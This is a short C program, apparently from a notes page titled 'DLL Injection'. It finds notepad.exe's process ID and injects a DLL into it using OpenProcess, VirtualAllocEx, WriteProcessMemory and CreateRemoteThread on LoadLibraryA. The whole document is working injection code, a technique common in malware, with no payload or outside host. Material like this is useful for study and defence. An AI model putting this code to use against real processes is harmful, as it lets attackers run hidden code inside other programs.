DLL Injection
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
DWORD FindProcessPid(const char* procname)
{
PROCESSENTRY32 pe32 = { 0 };
pe32.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system
if (hSnapshot)
{
if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name
{
do
{
if (strcmp(pe32.szExeFile, procname) == 0) // compares the process name, with our user supplied name
{
return pe32.th32ProcessID; // if its the same, return the process id
}
} while (Process32Next(hSnapshot, &pe32));
CloseHandle(hSnapshot);
}
}
return -1; // returns negative one if the process is not found
}
int main(void) {
char dllpath[] = TEXT("C:\\simple.dll");
int pid = FindProcessPid("notepad.exe");
printf("notepad's Pid is %d\n", pid);
void *pThreadStart = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
HANDLE han_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
void * pRem = VirtualAllocEx(han_proc, NULL, sizeof(dllpath), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(han_proc, pRem, (LPVOID)dllpath, sizeof(dllpath), NULL);
CreateRemoteThread(han_proc, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadStart, pRem, 0, NULL);
CloseHandle(han_proc);
getchar();
}






Last updated